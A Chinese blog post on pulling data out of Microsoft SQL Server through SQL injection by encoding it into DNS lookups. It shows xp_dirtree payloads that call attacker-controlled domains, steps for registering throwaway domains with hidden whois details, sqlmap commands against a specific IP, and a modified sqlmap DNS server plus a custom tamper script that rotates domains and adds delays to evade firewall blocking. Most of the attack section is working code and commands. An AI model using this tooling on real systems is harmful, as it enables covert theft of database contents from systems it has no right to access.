Data Exfiltration with DNS in MSSQL SQLi attacks
DNS解析过程
DNS解析过程
DNS 查询的过程如下图1所示。
图1
文字举例说明:
假定浏览器想知道域名xprp8i.dnslog.cn的IP地址。
1、浏览器先向本地DNS服务器进行递归查询。
2、本地域名服务器采用迭代查询。它先向一个根域名服务器查询。
3、根域名服务器告诉本地DNS服务器,下一次应查询的顶级域名服务器a.dns.cn的IP地址。
4、本地域名服务器向顶级域名服务器a.dns.cn进行查询。
5、顶级域名服务器dns.cn告诉本地域名服务器,下一步应查询的权限服务器ns1.dnslog.cn的IP地址。
6、本地域名服务器向权限域名服务器ns1.dnslog.cn进行查询。
7、权限域名服务器ns1.dnslog.cn告诉本地域名服务器,xprp8i.dnslog.cn的IP地址。
8、本地域名服务器最后把查询结果告诉浏览器。
递归查询
从客户端到本地DNS服务器是属于递归查询。
迭代查询
DNS服务器之间的交互查询就是迭代查询。本地使用nslookup模拟一下这个过程,以查询xprp8i.dnslog.cn为例。
1、将DNS请求发送至其中一台根DNS服务器。
根DNS服务器收到请求后会判断这个域名(.cn)是谁来授权管理,并会返回负责该顶级域名的NS记录。
命令:
nslookup -q=a xprp8i.dnslog.cn 198.41.0.4
应答:
in-addr.arpa nameserver = e.in-addr-servers.arpa
in-addr.arpa nameserver = f.in-addr-servers.arpa
in-addr.arpa nameserver = d.in-addr-servers.arpa
in-addr.arpa nameserver = c.in-addr-servers.arpa
in-addr.arpa nameserver = b.in-addr-servers.arpa
in-addr.arpa nameserver = a.in-addr-servers.arpa
e.in-addr-servers.arpa internet address = 203.119.86.101
e.in-addr-servers.arpa AAAA IPv6 address = 2001:dd8:6::101
f.in-addr-servers.arpa internet address = 193.0.9.1
f.in-addr-servers.arpa AAAA IPv6 address = 2001:67c:e0::1
d.in-addr-servers.arpa internet address = 200.10.60.53
d.in-addr-servers.arpa AAAA IPv6 address = 2001:13c7:7010::53
c.in-addr-servers.arpa internet address = 196.216.169.10
c.in-addr-servers.arpa AAAA IPv6 address = 2001:43f8:110::10
b.in-addr-servers.arpa internet address = 199.253.183.183
b.in-addr-servers.arpa AAAA IPv6 address = 2001:500:87::87
a.in-addr-servers.arpa internet address = 199.180.182.53
a.in-addr-servers.arpa AAAA IPv6 address = 2620:37:e000::53
Server: UnKnown
Address: 198.41.0.4
Name: xprp8i.dnslog.cn
Served by:
- a.dns.cn
203.119.25.1
2001:dc7::1
cn
- b.dns.cn
203.119.26.1
cn
- c.dns.cn
203.119.27.1
cn
- d.dns.cn
203.119.28.1
2001:dc7:1000::1
cn
- e.dns.cn
203.119.29.1
cn
- f.dns.cn
195.219.8.90
cn
- g.dns.cn
66.198.183.65
cn
- ns.cernet.net
202.112.0.44
Cn
2、向其中一台负责cn顶级域的DNS服务器发起请求
命令:
nslookup -q=a xprp8i.dnslog.cn 195.219.8.90
应答:
DNS request timed out.
timeout was 2 seconds.
Server: UnKnown
Address: 195.219.8.90
DNS request timed out.
timeout was 2 seconds.
Name: xprp8i.dnslog.cn
Served by:
- ns1.dnslog.cn
47.244.138.18
dnslog.cn
- ns2.dnslog.cn
47.244.138.18
dnslog.cn
3、向其中一台负责dnslog.cn二级域的DNS服务器发起请求
最终,经查询得到了xprp8i.dnslog.cn对应的IP地址(此处是127.0.0.1)
命令:
nslookup -q=a xprp8i.dnslog.cn 47.244.138.18
应答:
Server: UnKnown
Address: 47.244.138.18
Non-authoritative answer:
Name: xprp8i.dnslog.cn
Address: 127.0.0.1
参考:
https://www.zhihu.com/question/23042131
https://zhidao.baidu.com/question/424525391971643892.html
DNS隧道测试
工具:
点击“Get SubDomain”获取域名,点击“Refresh Record”查看请求记录。
SQL语句:
declare @host varchar(800);
select @host = 'test.k8xdu5.dnslog.cn';
exec ('master..xp_dirtree "\\'+@host+'\foobar$"');
使用SQL SERVER MANAGEMENT STUDIO新建查询
图3
如果刷新后可以看到我们提交的查询数据,说明DNS请求可以出得来,可进一步利用。
图4
自行搭建dnslog
注意:IP地址需要与注册信息中的国家相符合,否则注册失败。
网址:http://www.Freenom.com
1、先检测待注册域名的可用性。
2、注册的时候,在DNS选项中,选择使用自己的DNS,新建DNS服务器的地址,例如我这里自定义了两个dns服务器,分别是ns0.nogan.ga和ns1.nogan.ga,并且将他们的地址指向我的VPS服务器。
3、点击Continue,进入到结算页面。
如果你上一步没有注册用户,那么可以直接在这里填你用来注册用户的邮箱,然后根据指引进行操作。如果注册了用户,只需要直接登录就可以了。
4、进入到Review and Checkout页面,填入一些你的基本信息就可以了
5、这里记得勾选Lock profile,你的信息就不会被whois查询到了。接着下一步,勾选Complate Order,域名就注册成功了。
6、部署DNS服务
登录你的VPS服务器,运行下面这个python脚本,将在你的VPS主机监听UDP 53端口,并且回复DNS响应包:
Dsn.py:
https://github.com/sqlmapproject/sqlmap/blob/master/lib/request/dns.py
7、执行ping命令测试 效果
看到结果说明成功。
Ping test.buyao2.ga
参考:
https://www.cnblogs.com/Chorder/p/9087386.html
SQLMAP实现分析
看看sqlmap是怎么处理-v 3查看payload:
DECLARE @host varchar(1024);
SELECT @host='rMy.'+(SELECT TOP 1 master.dbo.fn_varbintohexstr(CAST
(SUBSTRING((ISNULL(CAST(name AS NVARCHAR(4000)),' ')),1,13) AS
VARBINARY(8000))) FROM master..sysdatabases WHERE name NOT IN
(SELECT TOP 4 name FROM master..sysdatabases ORDER BY name) ORDER BY
name)+'.Nrz.rainism.cc';
EXEC('master..xp_dirtree "\\'+@host+'\cCkc"');
知识点
1、通过在域名中添加随机字符串'rMy','Nrz'确保每次查询dns不存在缓存。
2、通过使用substring()函数每次传输特定位数的数据,防止UNC路径超过128个字符,导致错误。
3、通过使用master.dbo.fn_varbintohexstr()存储过程对获得数据进行16进制编码,防止出现非法字符导致语法错误,查询失败。
Sql语句
sqlmap -u 'http://188.166.29.114/test.php?uid=1' -p uid --dbs --dns-domain yourdomain.online
实战中遇到的问题
问题描述
大概率由于对方防火墙的原因,当获取20条左右的数据时lib\request\dns.py文件就出现以下错误,之后就获取不到数据了,然后歇会几分钟后,重新再来又可以获取到数据了。推测可能是访问频繁,导致域名被暂时封堵。
[Error 10054] An exiting connection was forcibly closed by the remote host
对策
申请多个域名,反正freenom.com免费申请,然后写个tamper随机选择域名。我申请了10个域名,效果是,还会报错但是能撑到100条这样。继续改进,捕获dns.py产生的sock error 10054错误,并且当出错的时候,通过waitfor delay语句进行延时注入。所以最终方案是,修改了dns.py和添加了一个tamper。完美解决,能一次性获取到上千条不中断了,就算出错也能较快恢复,执行完sqlmap一觉醒来,就收获满满了。
使用
sqlmap -u 'http://188.166.29.114/test.php?uid=1' -p uid --dbs --dns-domain dnslog.cn -t 8 --random-agent --tamper randomdns
Dns.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 | #!/usr/bin/env python """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import os import re import socket import threading import time class DNSQuery( object ): """ Used for making fake DNS resolution responses based on received raw request Reference(s): http://code.activestate.com/recipes/491264-mini-fake-dns-server/ https://code.google.com/p/marlon-tools/source/browse/tools/dnsproxy/dnsproxy.py """ def __init__( self , raw): self ._raw = raw self ._query = "" type_ = ( ord (raw[ 2 ]) >> 3 ) & 15 # Opcode bits if type_ = = 0 : # Standard query i = 12 j = ord (raw[i]) while j ! = 0 : self ._query + = raw[i + 1 :i + j + 1 ] + '.' i = i + j + 1 j = ord (raw[i]) def response( self , resolution): """ Crafts raw DNS resolution response packet """ retVal = "" if self ._query: retVal + = self ._raw[: 2 ] # Transaction ID retVal + = "\x85\x80" # Flags (Standard query response, No error) retVal + = self ._raw[ 4 : 6 ] + self ._raw[ 4 : 6 ] + "\x00\x00\x00\x00" # Questions and Answers Counts retVal + = self ._raw[ 12 :( 12 + self ._raw[ 12 :].find( "\x00" ) + 5 )] # Original Domain Name Query retVal + = "\xc0\x0c" # Pointer to domain name retVal + = "\x00\x01" # Type A retVal + = "\x00\x01" # Class IN retVal + = "\x00\x00\x00\x20" # TTL (32 seconds) retVal + = "\x00\x04" # Data length retVal + = "".join( chr ( int (_)) for _ in resolution.split( '.' )) # 4 bytes of IP return retVal class DNSServer( object ): def __init__( self ): socket.setdefaulttimeout( 20 ) self ._check_localhost() self ._requests = [] self ._lock = threading.Lock() try : self ._socket = socket._orig_socket(socket.AF_INET, socket.SOCK_DGRAM) except AttributeError: self ._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self ._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 ) self ._socket.bind(("", 53 )) self ._running = False self ._initialized = False def _check_localhost( self ): response = "" try : s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect(("", 53 )) s.send( "6509012000010000000000010377777706676f6f676c6503636f6d00000100010000291000000000000000" .decode( "hex" )) # A www.google.com response = s.recv( 512 ) except : pass finally : if response and "google" in response: raise socket.error( "another DNS service already running on *:53" ) def pop( self , prefix = None , suffix = None ): """ Returns received DNS resolution request (if any) that has given prefix/suffix combination (e.g. prefix.<query result>.suffix.domain) """ retVal = None with self ._lock: for _ in self ._requests: if prefix is None and suffix is None or re.search(r "%s\..+\.%s" % (prefix, suffix), _, re.I): retVal = _ self ._requests.remove(_) break return retVal def run( self ): """ Runs a DNSServer instance as a daemon thread (killed by program exit) """ def _(): try : self ._running = True self ._initialized = True while True : #改了这里 try : data, addr = self ._socket.recvfrom( 1024 ) _ = DNSQuery(data) self ._socket.sendto(_.response( "127.0.0.1" ), addr) with self ._lock: self ._requests.append(_._query) fo = open ( 'C:/Users/Administrator/Desktop/sqlmap-1.3/tamper/randomdns.txt' , "w" ) fo.write( "OK" ) fo.close() except socket.error as error: print (error) fo = open ( 'C:/Users/Administrator/Desktop/sqlmap-1.3/tamper/randomdns.txt' , "w" ) fo.write( "Error" ) fo.close() time.sleep( 1 ) #改了这里 except KeyboardInterrupt: raise finally : self ._running = False thread = threading.Thread(target = _) thread.daemon = True thread.start() if __name__ = = "__main__" : server = None try : server = DNSServer() server.run() while not server._initialized: time.sleep( 0.1 ) while server._running: while True : _ = server.pop() if _ is None : break else : print "[i] %s" % _ time.sleep( 1 ) except socket.error, ex: if 'Permission' in str (ex): print "[x] Please run with sudo/Administrator privileges" else : raise except KeyboardInterrupt: os._exit( 0 ) finally : if server: server._running = False |
Randomdns.py(tamper)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | #!/usr/bin/env python """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import re import random import os from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): pass def tamper(payload, * * kwargs): """ Tested against: * Microsoft SQL Server 2008 """ retVal = payload domain_list = [ 'domain1.ga' , 'domain2.ga' , 'domain3.tk' , 'domain4.tk' , 'domain5.gq' , 'domain16.tk' , 'domain7.ml' , 'domain8.ga' , 'domain9.cf' , 'domain10.gq' ] domain = random.choice(domain_list) domain = ' '.join(random.sample([' z ',' y ',' x ',' w ',' v ',' u ',' t ',' s ',' r ',' q ',' p ',' o ',' n ',' m ',' l ',' k ',' j ',' i ',' h ',' g ',' f ',' e ',' d ',' c ',' b ',' a '], 3)) + ' .' + domain waitstr = " waitfor delay '0:0:0:MilliSeconds' --" filename = 'C:/Users/Administrator/Desktop/sqlmap-1.3/tamper/randomdns.txt' if os.path.exists(filename): fo = open (filename, "r" ) msg = fo.read() fo.close() if msg = = "Error" : waitstr = " waitfor delay '0:0:10:MilliSeconds' --" else : waitstr = " waitfor delay '0:0:0:MilliSeconds' --" ms = str (random.randint( 1 , 999 )) waitstr = re.sub( 'MilliSeconds' ,ms,waitstr) if payload: retVal = re.sub( 'dnslog.cn' ,domain,payload) retVal = re.sub( '--' ,waitstr,retVal) return retVal |
转载请注明出处。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 从HTTP原因短语缺失研究HTTP/2和HTTP/3的设计差异
· 三行代码完成国际化适配,妙~啊~